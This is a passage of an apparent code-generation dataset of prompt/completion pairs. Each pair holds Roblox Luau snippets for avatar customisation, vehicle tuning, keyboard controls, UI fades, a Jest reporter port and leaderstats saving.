character:FindFirstChild(\"Animate\")\n\t\t\n\t\tif index then\n\t\t\ttable.remove(characterAppearanceInfo.assets, index)\n\t\t\tfor i, value in ipairs(animationFolder:GetChildren()) do\n\t\t\t\tif animateScript:FindFirstChild(value.Name) then\n\t\t\t\t\tDebris:AddItem(animateScript[value.Name], 0)\n\t\t\t\tend\n\t\t\tend\n\t\telse\n\t\t\tfor i, asset in ipairs(characterAppearanceInfo.assets) do\n\t\t\t\tif productInfo.AssetTypeId == asset.assetType.id then\n\t\t\t\t\ttable.remove(characterAppearanceInfo.assets, i)\n\t\t\t\tend\n\t\t\tend\n\t\t\tinsertToTable(characterAppearanceInfo.assets, productInfo)\n\t\t\tif animateScript then\n\t\t\t\tfor i, value in ipairs(animationFolder:GetChildren()) do\n\t\t\t\t\tif animateScript:FindFirstChild(value.Name) then\n\t\t\t\t\t\tDebris:AddItem(animateScript[value.Name], 0)\n\t\t\t\t\tend\n\t\t\t\t\tvalue.Parent = animateScript\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\telseif assetTypeId == \"18\" then\n\t\t-- face\n\t\tlocal decal = items:GetChildren()[1]\n\t\tif not decal:IsA(\"Decal\") then\n\t\t\treturn\n\t\tend\n\t\tlocal head = character:FindFirstChild(\"Head\")\n\t\tlocal wearing = head and head:FindFirstChildWhichIsA(\"Decal\")\n\t\tif wearing then\n\t\t\tDebris:AddItem(wearing, 0)\n\t\tend\n\t\tif index then\n\t\t\ttable.remove(characterAppearanceInfo.assets, index)\n\t\t\tplayer:LoadCharacterAppearance(getOriginalFace())\n\t\telse\n\t\t\tfor i, asset in ipairs(characterAppearanceInfo.assets) do\n\t\t\t\tif productInfo.AssetTypeId == asset.assetType.id then\n\t\t\t\t\ttable.remove(characterAppearanceInfo.assets, i)\n\t\t\t\tend\n\t\t\tend\n\t\t\tinsertToTable(characterAppearanceInfo.assets, productInfo)\n\t\t\tdecal.Parent = head\n\t\tend\n\telseif assetTypeId == \"17\" then\n\t\t-- head\n\t\tlocal mesh = items:GetChildren()[1]\n\t\tif not (mesh:IsA(\"SpecialMesh\") or mesh:IsA(\"CylinderMesh\")) then\n\t\t\treturn\n\t\tend\n\t\tlocal head = character:FindFirstChild(\"Head\")\n\t\tlocal wearing = head and head:FindFirstChildWhichIsA(\"SpecialMesh\")\n\t\tif wearing then\n\t\t\tDebris:AddItem(wearing, 0)\n\t\tend\n\t\tif index then\n\t\t\ttable.remove(characterAppearanceInfo.assets, index)\n\t\t\tplayer:LoadCharacterAppearance(getOriginalHeadMesh())\n\t\telse\n\t\t\tfor i, asset in ipairs(characterAppearanceInfo.assets) do\n\t\t\t\tif productInfo.AssetTypeId == asset.assetType.id then\n\t\t\t\t\ttable.remove(characterAppearanceInfo.assets, i)\n\t\t\t\tend\n\t\t\tend\n\t\t\tinsertToTable(characterAppearanceInfo.assets, productInfo)\n\t\t\tplayer:LoadCharacterAppearance(mesh)\n\t\tend\n\telseif assetTypeId == \"27\" or assetTypeId == \"28\" or assetTypeId == \"29\" or assetTypeId == \"30\" or assetTypeId == \"31\" then\n\t\t-- body parts\n\t\tlocal bodyPartFolder = items:FindFirstChild(\"R15ArtistIntent\")\n\t\tif index then\n\t\t\ttable.remove(characterAppearanceInfo.assets, index)\n\t\t\tfor i, part in ipairs(bodyPartFolder:GetChildren()) do\n\t\t\t\tlocal partInCharacter = character:FindFirstChild(part.Name)\n\t\t\t\tlocal bodyPartR15 = partInCharacter and humanoid:GetBodyPartR15(partInCharacter)\n\t\t\t\tlocal defaultBodyPart = bodyPartR15 and defaultBodyPartsR15:FindFirstChild(part.Name)\n\t\t\t\tif defaultBodyPart then\n\t\t\t\t\tdefaultBodyPart = defaultBodyPart:Clone()\n\t\t\t\t\thumanoid:ReplaceBodyPartR15(bodyPartR15, defaultBodyPart)\n\t\t\t\tend\n\t\t\tend\n\t\telse\n\t\t\tfor i, asset in ipairs(characterAppearanceInfo.assets) do\n\t\t\t\tif productInfo.AssetTypeId == asset.assetType.id then\n\t\t\t\t\ttable.remove(characterAppearanceInfo.assets, i)\n\t\t\t\tend\n\t\t\tend\n\t\t\tinsertToTable(characterAppearanceInfo.assets, productInfo)\n\t\t\tfor i, part in ipairs(bodyPartFolder:GetChildren()) do\n\t\t\t\tlocal partInCharacter = character:FindFirstChild(part.Name)\n\t\t\t\tlocal bodyPartR15 = partInCharacter and humanoid:GetBodyPartR15(partInCharacter)\n\t\t\t\tif bodyPartR15 then\n\t\t\t\t\thumanoid:ReplaceBodyPartR15(bodyPartR15, part)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\t\n\thumanoid:BuildRigFromAttachments()\n\tDebris:AddItem(items, 0)\n\tremoteEvent:FireClient(player, characterAppearanceInfo)\nend\n\nlocal function skinTone(player, color)\n\tif color == nil or not (typeof(color) == \"string\") then\n\t\treturn\n\tend\n\tif not playerWearingAssets[player] then\n\t\treturn\n\tend\n\t\n\tlocal character = player.Character\n\tlocal humanoid = character and character:FindFirstChildWhichIsA(\"Humanoid\")\n\tif humanoid == nil or humanoid.Health <= 0 then\n\t\treturn\n\tend\n\t\n\tlocal characterAppearanceInfo = playerWearingAssets[player]\n\tlocal brickColor = BrickColor.new(color)\n\tcharacterAppearanceInfo.bodyColors.headColorId = brickColor.Number\n\tcharacterAppearanceInfo.bodyColors.leftArmColorId = brickColor.Number\n\tcharacterAppearanceInfo.bodyColors.leftLegColorId = brickColor.Number\n\tcharacterAppearanceInfo.bodyColors.rightArmColorId = brickColor.Number\n\tcharacterAppearanceInfo.bodyColors.rightLegColorId = brickColor.Number\n\tcharacterAppearanceInfo.bodyColors.torsoColorId = brickColor.Number\n\t\n\tlocal bodyColors = character:FindFirstChildWhichIsA(\"BodyColors\")\n\tbodyColors.HeadColor3 = brickColor.Color\n\tbodyColors.LeftArmColor3 = brickColor.Color\n\tbodyColors.LeftLegColor3 = brickColor.Color\n\tbodyColors.RightArmColor3 = brickColor.Color\n\tbodyColors.RightLegColor3 = brickColor.Color\n\tbodyColors.TorsoColor3 = brickColor.Color\nend\n\nlocal function scale(player, name, value)\n\tif name == nil or not (typeof(name) == \"string\") then\n\t\treturn\n\tend\n\tif value == nil or not (typeof(value) == \"number\") then\n\t\treturn\n\tend\n\tif not playerWearingAssets[player] then\n\t\treturn\n\tend\n\t\n\tlocal character = player.Character\n\tlocal humanoid = character and character:FindFirstChildWhichIsA(\"Humanoid\")\n\tif humanoid == nil or humanoid.Health <= 0 then\n\t\treturn\n\tend\n\t\n\tif name == \"BodyHeightScale\" then\n\t\tmath.clamp(value, 95, 105)\n\telseif name == \"BodyWidthScale\" then\n\t\tmath.clamp(value, 70, 100)\n\telseif name == \"HeadScale\" then\n\t\tmath.clamp(value, 95, 100)\n\telseif name == \"BodyProportionScale\" then\n\t\tmath.clamp(value, 0, 100)\n\telseif name == \"BodyTypeScale\" then\n\t\tmath.clamp(value, 0, 100)\n\telse\n\t\treturn\n\tend\n\t\n\tlocal scaleValue = humanoid and humanoid:FindFirstChild(name)\n\tif not scaleValue then\n\t\treturn\n\tend\n\t\n\tscaleValue.Value = value/100\nend\n"} +{"prompt": "--[==[\n\t\n\tif you want to make longer comments\n\t\n\tyou can surround them with the double dashes and double square brackets \"--[[\" and \"--]]\"\n\t\n\tand you can surround those by ones with equals signs in them too\n\n\tso you don't have to type the \"--\" every single line\n\t\n--]==]", "completion": "\n\n"} +{"prompt": "-------------------------", "completion": "\nfunction onClicked()\nCar.BodyVelocity.velocity = Vector3.new(0, 10, 0)\nend\nscript.Parent.ClickDetector.MouseClick:connect(onClicked)\n"} +{"prompt": "-- Set the desired health value", "completion": "\nlocal newHealth = 100 -- You can change this value to the health you want\n"} +{"prompt": "--[[Engine]]", "completion": "\n\t--Torque Curve\n\tTune.Horsepower\t\t= 616\t\t--\t[TORQUE CURVE VISUAL]\n\tTune.IdleRPM\t\t= 700\t\t--\t\thttps://www.desmos.com/calculator/2uo3hqwdhf\n\tTune.PeakRPM\t\t= 7000\t\t--\t\tUse sliders to manipulate values\n\tTune.Redline\t\t= 7500\t\t--\t\tCopy and paste slider values into the respective tune values\n\tTune.ComfortShift = 3500\n\tTune.EqPoint\t\t= 5500\n\tTune.PeakSharpness\t= 7.5\n\tTune.CurveMult\t\t= 0.16\n\t\n\t--Incline Compensation\n\tTune.InclineComp\t= 1.7\t\t\t-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)\n\t\n\t--Misc\n\tTune.RevAccel\t\t= 150\t\t-- RPM acceleration when clutch is off\n\tTune.RevDecay\t\t= 75\t\t-- RPM decay when clutch is off\n\tTune.RevBounce\t\t= 500\t\t-- RPM kickback from redline\n\tTune.IdleThrottle\t= 3\t\t\t-- Percent throttle at idle\n\tTune.ClutchTol\t\t= 500\t\t-- Clutch engagement threshold (higher = faster response)\n\t"} +{"prompt": "--[[ Constants ]]", "completion": "--\nlocal TOUCH_CONTROL_SHEET = \"\"\n"} +{"prompt": "--[[\n\tMarks the store as deleted, disconnecting any outstanding connections.\n]]", "completion": "\nfunction Store:destruct()\n\tfor _, connection in ipairs(self._connections) do\n\t\tconnection:Disconnect()\n\tend\n\n\tself._connections = nil\nend\n"} +{"prompt": "--[[ The Module ]]", "completion": "--\nlocal BaseCharacterController = require(script.Parent:WaitForChild(\"BaseCharacterController\"))\nlocal Keyboard = setmetatable({}, BaseCharacterController)\nKeyboard.__index = Keyboard\n\nfunction Keyboard.new(CONTROL_ACTION_PRIORITY)\n\tlocal self = setmetatable(BaseCharacterController.new(), Keyboard)\n\n\tself.CONTROL_ACTION_PRIORITY = CONTROL_ACTION_PRIORITY\n\n\tself.textFocusReleasedConn = nil\n\tself.textFocusGainedConn = nil\n\tself.windowFocusReleasedConn = nil\n\n\tself.forwardValue = 0\n\tself.backwardValue = 0\n\tself.leftValue = 0\n\tself.rightValue = 0\n\n\tself.jumpEnabled = true\n\n\treturn self\nend\n\nfunction Keyboard:Enable(enable: boolean)\n\tif not UserInputService.KeyboardEnabled then\n\t\treturn false\n\tend\n\n\tif enable == self.enabled then\n\t\t-- Module is already in the state being requested. True is returned here since the module will be in the state\n\t\t-- expected by the code that follows the Enable() call. This makes more sense than returning false to indicate\n\t\t-- no action was necessary. False indicates failure to be in requested/expected state.\n\t\treturn true\n\tend\n\n\tself.forwardValue = 0\n\tself.backwardValue = 0\n\tself.leftValue = 0\n\tself.rightValue = 0\n\tself.moveVector = ZERO_VECTOR3\n\tself.jumpRequested = false\n\tself:UpdateJump()\n\n\tif enable then\n\t\tself:BindContextActions()\n\t\tself:ConnectFocusEventListeners()\n\telse\n\t\tself:UnbindContextActions()\n\t\tself:DisconnectFocusEventListeners()\n\tend\n\n\tself.enabled = enable\n\treturn true\nend\n\nfunction Keyboard:UpdateMovement(inputState)\n\tif inputState == Enum.UserInputState.Cancel then\n\t\tself.moveVector = ZERO_VECTOR3\n\telse\n\t\tself.moveVector = Vector3.new(self.leftValue + self.rightValue, 0, self.forwardValue + self.backwardValue)\n\tend\nend\n\nfunction Keyboard:UpdateJump()\n\tself.isJumping = self.jumpRequested\nend\n\nfunction Keyboard:BindContextActions()\n\n\t-- Note: In the previous version of this code, the movement values were not zeroed-out on UserInputState. Cancel, now they are,\n\t-- which fixes them from getting stuck on.\n\t-- We return ContextActionResult.Pass here for legacy reasons.\n\t-- Many games rely on gameProcessedEvent being false on UserInputService.InputBegan for these control actions.\n\tlocal handleMoveForward = function(actionName, inputState, inputObject)\n\t\tself.forwardValue = (inputState == Enum.UserInputState.Begin) and -1 or 0\n\t\tself:UpdateMovement(inputState)\n\t\treturn Enum.ContextActionResult.Pass\n\tend\n\n\tlocal handleMoveBackward = function(actionName, inputState, inputObject)\n\t\tself.backwardValue = (inputState == Enum.UserInputState.Begin) and 1 or 0\n\t\tself:UpdateMovement(inputState)\n\t\treturn Enum.ContextActionResult.Pass\n\tend\n\n\tlocal handleMoveLeft = function(actionName, inputState, inputObject)\n\t\tself.leftValue = (inputState == Enum.UserInputState.Begin) and -1 or 0\n\t\tself:UpdateMovement(inputState)\n\t\treturn Enum.ContextActionResult.Pass\n\tend\n\n\tlocal handleMoveRight = function(actionName, inputState, inputObject)\n\t\tself.rightValue = (inputState == Enum.UserInputState.Begin) and 1 or 0\n\t\tself:UpdateMovement(inputState)\n\t\treturn Enum.ContextActionResult.Pass\n\tend\n\n\tlocal handleJumpAction = function(actionName, inputState, inputObject)\n\t\tself.jumpRequested = self.jumpEnabled and (inputState == Enum.UserInputState.Begin)\n\t\tself:UpdateJump()\n\t\treturn Enum.ContextActionResult.Pass\n\tend\n\n\t-- TODO: Revert to KeyCode bindings so that in the future the abstraction layer from actual keys to\n\t-- movement direction is done in Lua\n\tContextActionService:BindActionAtPriority(\"moveForwardAction\", handleMoveForward, false,\n\t\tself.CONTROL_ACTION_PRIORITY, Enum.PlayerActions.CharacterForward)\n\tContextActionService:BindActionAtPriority(\"moveBackwardAction\", handleMoveBackward, false,\n\t\tself.CONTROL_ACTION_PRIORITY, Enum.PlayerActions.CharacterBackward)\n\tContextActionService:BindActionAtPriority(\"moveLeftAction\", handleMoveLeft, false,\n\t\tself.CONTROL_ACTION_PRIORITY, Enum.PlayerActions.CharacterLeft)\n\tContextActionService:BindActionAtPriority(\"moveRightAction\", handleMoveRight, false,\n\t\tself.CONTROL_ACTION_PRIORITY, Enum.PlayerActions.CharacterRight)\n\tContextActionService:BindActionAtPriority(\"jumpAction\", handleJumpAction, false,\n\t\tself.CONTROL_ACTION_PRIORITY, Enum.PlayerActions.CharacterJump)\nend\n\nfunction Keyboard:UnbindContextActions()\n\tContextActionService:UnbindAction(\"moveForwardAction\")\n\tContextActionService:UnbindAction(\"moveBackwardAction\")\n\tContextActionService:UnbindAction(\"moveLeftAction\")\n\tContextActionService:UnbindAction(\"moveRightAction\")\n\tContextActionService:UnbindAction(\"jumpAction\")\nend\n\nfunction Keyboard:ConnectFocusEventListeners()\n\tlocal function onFocusReleased()\n\t\tself.moveVector = ZERO_VECTOR3\n\t\tself.forwardValue = 0\n\t\tself.backwardValue = 0\n\t\tself.leftValue = 0\n\t\tself.rightValue = 0\n\t\tself.jumpRequested = false\n\t\tself:UpdateJump()\n\tend\n\n\tlocal function onTextFocusGained(textboxFocused)\n\t\tself.jumpRequested = false\n\t\tself:UpdateJump()\n\tend\n\n\tself.textFocusReleasedConn = UserInputService.TextBoxFocusReleased:Connect(onFocusReleased)\n\tself.textFocusGainedConn = UserInputService.TextBoxFocused:Connect(onTextFocusGained)\n\tself.windowFocusReleasedConn = UserInputService.WindowFocused:Connect(onFocusReleased)\nend\n\nfunction Keyboard:DisconnectFocusEventListeners()\n\tif self.textFocusReleasedConn then\n\t\tself.textFocusReleasedConn:Disconnect()\n\t\tself.textFocusReleasedConn = nil\n\tend\n\tif self.textFocusGainedConn then\n\t\tself.textFocusGainedConn:Disconnect()\n\t\tself.textFocusGainedConn = nil\n\tend\n\tif self.windowFocusReleasedConn then\n\t\tself.windowFocusReleasedConn:Disconnect()\n\t\tself.windowFocusReleasedConn = nil\n\tend\nend\n\nreturn Keyboard\n"} +{"prompt": "--// All global vars will be wiped/replaced except script", "completion": "\n\nreturn function(data, env)\n\tif env then\n\t\tsetfenv(1, env)\n\tend\n\n\tlocal gui = script.Parent.Parent--client.UI.Prepare(script.Parent.Parent)\n\tlocal frame = gui.Frame\n\tlocal frame2 = frame.Frame\n\tlocal msg = frame2.Message\n\tlocal ttl = frame2.Title\n\n\tlocal gIndex = data.gIndex\n\tlocal gTable = data.gTable\n\n\tlocal title = data.Title\n\tlocal message = data.Message\n\tlocal scroll = data.Scroll\n\tlocal tim = data.Time\n\n\tlocal gone = false\n\n\tif not data.Message or not data.Title then gTable:Destroy() end\n\n\tttl.Text = title\n\tmsg.Text = message\n\tttl.TextTransparency = 1\n\tmsg.TextTransparency = 1\n\tttl.TextStrokeTransparency = 1\n\tmsg.TextStrokeTransparency = 1\n\tframe.BackgroundTransparency = 1\n\n\tlocal fadeSteps = 10\n\tlocal blurSize = 10\n\tlocal textFade = 0.1\n\tlocal strokeFade = 0.5\n\tlocal frameFade = 0.3\n\n\tlocal blurStep = blurSize/fadeSteps\n\tlocal frameStep = frameFade/fadeSteps\n\tlocal textStep = 0.1\n\tlocal strokeStep = 0.1\n\n\tlocal function fadeIn()\n\t\tgTable:Ready()\n\t\tfor i = 1,fadeSteps do\n\t\t\tif msg.TextTransparency>textFade then\n\t\t\t\tmsg.TextTransparency = msg.TextTransparency-textStep\n\t\t\t\tttl.TextTransparency = ttl.TextTransparency-textStep\n\t\t\tend\n\t\t\tif msg.TextStrokeTransparency>strokeFade then\n\t\t\t\tmsg.TextStrokeTransparency = msg.TextStrokeTransparency-strokeStep\n\t\t\t\tttl.TextStrokeTransparency = ttl.TextStrokeTransparency-strokeStep\n\t\t\tend\n\t\t\tif frame.BackgroundTransparency>frameFade then\n\t\t\t\tframe.BackgroundTransparency = frame.BackgroundTransparency-frameStep\n\t\t\t\tframe2.BackgroundTransparency = frame.BackgroundTransparency\n\t\t\tend\n\t\t\tservice.Wait(\"Stepped\")\n\t\tend\n\tend\n\n\tlocal function fadeOut()\n\t\tif not gone then\n\t\t\tgone = true\n\t\t\tfor i = 1,fadeSteps do\n\t\t\t\tif msg.TextTransparency<1 then\n\t\t\t\t\tmsg.TextTransparency = msg.TextTransparency+textStep\n\t\t\t\t\tttl.TextTransparency = ttl.TextTransparency+textStep\n\t\t\t\tend\n\t\t\t\tif msg.TextStrokeTransparency<1 then\n\t\t\t\t\tmsg.TextStrokeTransparency = msg.TextStrokeTransparency+strokeStep\n\t\t\t\t\tttl.TextStrokeTransparency = ttl.TextStrokeTransparency+strokeStep\n\t\t\t\tend\n\t\t\t\tif frame.BackgroundTransparency<1 then\n\t\t\t\t\tframe.BackgroundTransparency = frame.BackgroundTransparency+frameStep\n\t\t\t\t\tframe2.BackgroundTransparency = frame.BackgroundTransparency\n\t\t\t\tend\n\t\t\t\tservice.Wait(\"Stepped\")\n\t\t\tend\n\t\t\tservice.UnWrap(gui):Destroy()\n\t\tend\n\tend\n\n\tgTable.CustomDestroy = function()\n\t\tfadeOut()\n\tend\n\n\tfadeIn()\n\tif not tim then\n\t\tlocal _,time = message:gsub(\" \",\"\")\n\t\ttime = math.clamp(time/2,4,11)+1\n\t\twait(time)\n\telse\n\t\twait(tim)\n\tend\n\tif not gone then\n\t\tfadeOut()\n\tend\nend\n"} +{"prompt": "--Shockwave--", "completion": "\n\nlocal function AttachParticleControl(source_part)\n\t\n\tlocal prtc = nil\n\t\n\tlocal function Start()\n\t\tprtc = script.Wave:clone()\n\t\tprtc.Parent = source_part\n\tend\n\t\n\tlocal function Update()\n\t\t\n\tend\n\t\n\tlocal function Stop()\n\t\tif prtc ~= nil then\n\t\t\tprtc:destroy()\n\t\t\tprtc = nil\n\t\tend\n\tend\n\t\n\treturn {Start = Start, Update = Update, Stop = Stop}\nend\n\nreturn AttachParticleControl\n"} +{"prompt": "-- ROBLOX deviation: Added _process arg to mock global node process for testing", "completion": "\nfunction DefaultReporter.new(globalConfig: Config_GlobalConfig, _process: NodeProcessMock?): DefaultReporter\n\tlocal self = setmetatable((BaseReporter.new(_process) :: any) :: DefaultReporterPrivate, DefaultReporter)\n\t-- ROBLOX deviation: we need to store _isInteractive per reporter to not override isInteractive globally\n\tself._isInteractive = jestUtilModule.isInteractive\n\n\t-- ROBLOX deviation START: Added for tests otherwise isInteractive = false\n\tif _process ~= nil and _process.env.IS_INTERACTIVE ~= nil then\n\t\tself._isInteractive = _process.env.IS_INTERACTIVE\n\tend\n\t-- ROBLOX deviation END\n\n\t-- ROBLOX deviation START: Need a copy of stdout/stderr write since\n\t-- they get overwritten in _wrapStdio.\n\tlocal function defaultWrite()\n\t\tlocal writable = Writeable.new()\n\n\t\treturn function(_self: Writeable, message: string)\n\t\t\twritable:write(message)\n\t\tend\n\tend\n\t--[[\n\t\tROBLOX FIXME Luau START: added explicit type declaration.\n\t\tOtherwise Luau can't seem to unify 2 function type declaration\n\t\tand infers this as an union of function types which is not considered callable by CLI's analyze\n\t]]\n\tlocal _stdoutWrite: (Writeable, string) -> () = if _process and _process.stdout\n\t\tthen _process.stdout.write\n\t\telse defaultWrite()\n\tlocal _stderrWrite: (Writeable, string) -> () = if _process and _process.stderr\n\t\tthen _process.stderr.write\n\t\telse defaultWrite()\n\t-- ROBLOX FIXME Luau END\n\t-- ROBLOX deviation END\n\n\tself._globalConfig = globalConfig\n\tself._clear = \"\"\n\tself._out = function(_self: Writeable, message: string)\n\t\t_stdoutWrite(self._process.stdout, message)\n\tend\n\tself._err = function(_self: Writeable, message: string)\n\t\t_stderrWrite(self._process.stderr, message)\n\tend\n\tself._status = Status.new()\n\tself._bufferedOutput = Set.new()\n\tself:__wrapStdio(self._process.stdout)\n\tself:__wrapStdio(self._process.stderr)\n\tself._status:onChange(function()\n\t\tself:__clearStatus()\n\t\tself:__printStatus()\n\tend)\n\n\treturn (self :: any) :: DefaultReporter\nend\n\nfunction DefaultReporter:__wrapStdio(stream: Writeable): ()\n\tlocal write = stream.write\n\n\tlocal buffer: Array = {}\n\tlocal timeout: Timeout | nil = nil\n\n\tlocal function flushBufferedOutput()\n\t\tlocal string_ = Array.join(buffer, \"\")\n\t\tbuffer = {}\n\n\t\t-- This is to avoid conflicts between random output and status text\n\t\tself:__clearStatus()\n\t\tif Boolean.toJSBoolean(string_) then\n\t\t\twrite(stream, string_)\n\t\tend\n\t\tself:__printStatus()\n\t\tself._bufferedOutput:delete(flushBufferedOutput)\n\tend\n\n\tself._bufferedOutput:add(flushBufferedOutput)\n\n\tlocal function debouncedFlush()\n\t\t-- If the process blows up no errors would be printed.\n\t\t-- There should be a smart way to buffer stderr, but for now\n\t\t-- we just won't buffer it.\n\t\tif stream == self._process.stderr then\n\t\t\tflushBufferedOutput()\n\t\telseif not Boolean.toJSBoolean(timeout) then\n\t\t\ttimeout = setTimeout(function()\n\t\t\t\tflushBufferedOutput()\n\t\t\t\ttimeout = nil\n\t\t\tend, 100)\n\t\tend\n\tend\n\n\tstream.write = function(_self: Writeable, chunk: string)\n\t\ttable.insert(buffer, chunk)\n\t\tdebouncedFlush()\n\t\treturn true\n\tend\nend\n\nfunction DefaultReporter:forceFlushBufferedOutput(): ()\n\tSet.forEach(self._bufferedOutput, function(flushBufferedOutput)\n\t\tflushBufferedOutput()\n\tend)\nend\n\nfunction DefaultReporter:__clearStatus(): ()\n\t-- ROBLOX deviation: we need to store _isInteractive per reporter to not override isInteractive globally\n\tif self._isInteractive then\n\t\tif self._globalConfig.useStderr then\n\t\t\tself:_err(self._clear)\n\t\telse\n\t\t\tself:_out(self._clear)\n\t\tend\n\tend\nend\n\nfunction DefaultReporter:__printStatus(): ()\n\tlocal ref = self._status:get()\n\tlocal content, clear = ref.content, ref.clear\n\tself._clear = clear\n\t-- ROBLOX deviation: we need to store _isInteractive per reporter to not override isInteractive globally\n\tif self._isInteractive then\n\t\tif self._globalConfig.useStderr then\n\t\t\tself:_err(content)\n\t\telse\n\t\t\tself:_out(content)\n\t\tend\n\tend\nend\n\nfunction DefaultReporter:onRunStart(aggregatedResults: AggregatedResult, options: ReporterOnStartOptions): ()\n\tself._status:runStarted(aggregatedResults, options)\nend\n\nfunction DefaultReporter:onTestStart(test: Test): ()\n\tself._status:testStarted(test.path, test.context.config)\nend\n\nfunction DefaultReporter:onTestCaseResult(test: Test, testCaseResult: TestCaseResult): ()\n\tself._status:addTestCaseResult(test, testCaseResult)\nend\n\nfunction DefaultReporter:onRunComplete(): ()\n\tself:forceFlushBufferedOutput()\n\tself._status:runFinished()\n\tself._process.stdout.write = self._out\n\tself._process.stderr.write = self._err\n\tclearLine(self._process.stderr)\nend\n\nfunction DefaultReporter:onTestResult(test: Test, testResult: TestResult, aggregatedResults: AggregatedResult): ()\n\tself:testFinished(test.context.config, testResult, aggregatedResults)\n\tif not testResult.skipped then\n\t\tself:printTestFileHeader(testResult.testFilePath, test.context.config, testResult)\n\t\tself:printTestFileFailureMessage(testResult.testFilePath, test.context.config, testResult)\n\tend\n\tself:forceFlushBufferedOutput()\nend\n\nfunction DefaultReporter:testFinished(\n\tconfig: Config_ProjectConfig,\n\ttestResult: TestResult,\n\taggregatedResults: AggregatedResult\n): ()\n\tself._status:testFinished(config, testResult, aggregatedResults)\nend\n\nfunction DefaultReporter:printTestFileHeader(\n\t_testPath: Config_Path,\n\tconfig: Config_ProjectConfig,\n\tresult: TestResult\n): ()\n\tself:log(getResultHeader(result, self._globalConfig, config))\n\tif result.console ~= nil then\n\t\tself:log(\" \" .. TITLE_BULLET .. \"Console\\n\\n\" .. getConsoleOutput(result.console, config, self._globalConfig))\n\tend\nend\n\nfunction DefaultReporter:printTestFileFailureMessage(\n\t_testPath: Config_Path,\n\t_config: Config_ProjectConfig,\n\tresult: TestResult\n): ()\n\tif Boolean.toJSBoolean(result.failureMessage) then\n\t\tself:log(result.failureMessage)\n\tend\n\tlocal didUpdate = self._globalConfig.updateSnapshot == \"all\"\n\tlocal snapshotStatuses = getSnapshotStatus(result.snapshot, didUpdate)\n\tArray.forEach(snapshotStatuses, self.log, self)\nend\n\nexports.default = DefaultReporter\n\nreturn exports\n"} +{"prompt": "-- ROBLOX upstream: https://github.com/facebook/jest/blob/v27.4.7/packages/jest-snapshot/src/colors.ts\n-- /**\n-- * Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved.\n-- *\n-- * This source code is licensed under the MIT license found in the\n-- * LICENSE file in the root directory of this source tree.\n-- */", "completion": "\n"} +{"prompt": "-- connect events", "completion": "\n\nHumanoid.Died:connect(onDied)\nHumanoid.Running:connect(onRunning)\nHumanoid.Jumping:connect(onJumping)\nHumanoid.Climbing:connect(onClimbing)\nHumanoid.GettingUp:connect(onGettingUp)\nHumanoid.FreeFalling:connect(onFreeFall)\nHumanoid.FallingDown:connect(onFallingDown)\nHumanoid.Seated:connect(onSeated)\n"} +{"prompt": "--[[\np1.Parent = nil\np2.Parent = nil\np3.Parent = nil \np4.Parent = nil\n]]", "completion": " \n\tif not enabled then\n\t\treturn\n\tend\n\tenabled = false\n\tmouse.Icon = \"rbxasset://textures\\\\GunWaitCursor.png\"\n\n\twait(5)\n\tmouse.Icon = \"rbxasset://textures\\\\GunCursor.png\"\n\tenabled = true\n\nend\n\nfunction onEquippedLocal(mouse)\n\t\n\n\n\tif mouse == nil then\n\t\tprint(\"Mouse not found\")\n\t\treturn \n\tend\n\n\tmouse.Icon = \"rbxasset://textures\\\\GunCursor.png\"\n\tmouse.Button1Down:connect(function() onButton1Down(mouse) end)\n\t--mouse.Button1Up:connect(function() unButton1Down(mouse) end)\nend\n"} +{"prompt": "-------------Motor6Ding Section------------------------", "completion": "\n\nCharacter.Humanoid.Died:connect(function()\n\tStand()\n\t_G.Proned = false\n\t_G.Crouched = false\n\t_G.Sprinting = false\nend)\n\ngame:GetService(\"RunService\").RenderStepped:connect(function()\n\tMouse.TargetFilter = game.Workspace\n\tif not _G.Viewing then\t\n\tlocal HRPCF = HumanoidRootPart.CFrame * CFrame.new(0, 1.5, 0)* CFrame.new(Humanoid.CameraOffset)\n\tif Lean then\n\t\tHRPCF = HRPCF\n\tend\n\tNeck.C0 = Torso.CFrame:toObjectSpace(HRPCF)\n\tNeck.C1 = CFrame.Angles(-math.asin(Camera.CoordinateFrame.lookVector.y), 0, 0) \n\telseif _G.Viewing then\t\n\tCharacter.Torso.Neck.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)\n\tCharacter.Torso.Neck.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)\n\tend\n\tif player.PlayerScripts.CameraScript.RootCamera:FindFirstChild(\"Sensitivity\") then\n\t\tif Aiming then\n\t\t\tplayer.PlayerScripts.CameraScript.RootCamera.Sensitivity.Value = Player.PlayerGui.MouseSensitivity.Frame.Data.Value\n\t\telse\n\t\t\tplayer.PlayerScripts.CameraScript.RootCamera.Sensitivity.Value = 1\n\t\tend\n\tMouse.Button2Down:connect(function()\n\t\tif not Aiming then\n\t\t\tAiming = true\n\t\tend\n\tend)\n\tMouse.Button2Up:connect(function()\n\t\tif Aiming then\n\t\t\tAiming = false\n\t\tend\n\tend)\t\n\tend\nend)\n"} +{"prompt": "--[[\n\tRoact\n]]", "completion": "\n\nlocal element = Roact.createElement(App)\n\nRoact.mount(element, playerGui, \"App\")\n"} +{"prompt": "--Folders", "completion": "\nlocal controllersFolder = player:WaitForChild(\"PlayerScripts\"):WaitForChild(\"Controllers\")"} +{"prompt": "-- Main --", "completion": "\n\nPlayers.PlayerAdded:Connect(function(plr)\n\tlocal DonatedStore = Datastore2(\"Donated\", plr) \n\tlocal RaisedStore = Datastore2(\"Raised\", plr)\n\n\tlocal Leaderstats = Instance.new(\"Folder\") -- Create leaderstats obv\n\tLeaderstats.Name = 'leaderstats'\n\n\tlocal Donated = Instance.new(\"IntValue\", Leaderstats)\n\tDonated.Value = DonatedStore:Get(0) -- Get is basically adding the argumented amount to your saved data\n\tDonated.Name = \"Donated\"\n\n\tlocal Raised = Instance.new(\"IntValue\", Leaderstats)\n\tRaised.Name = \"Raised\"\n\tRaised.Value = RaisedStore:Get(0) -- Same thing as above\n\n\n\tDonatedStore:OnUpdate(function(NewDonated)\n\t\tDonated.Value = NewDonated\n\tend)\n\n\tRaisedStore:OnUpdate(function(NewRaised) -- Same as above\n\t\tRaised.Value = NewRaised\n\tend)\n\n\tLeaderstats.Parent = plr -- Set leaderstats parent AFTER assigning everything\n\nend)\n"} +{"prompt": "--// Give the Player the Given Table", "completion": "\nlocal Give; Give = function(Player, Table, Retain)\n\tfor Index, Element in pairs(Table) 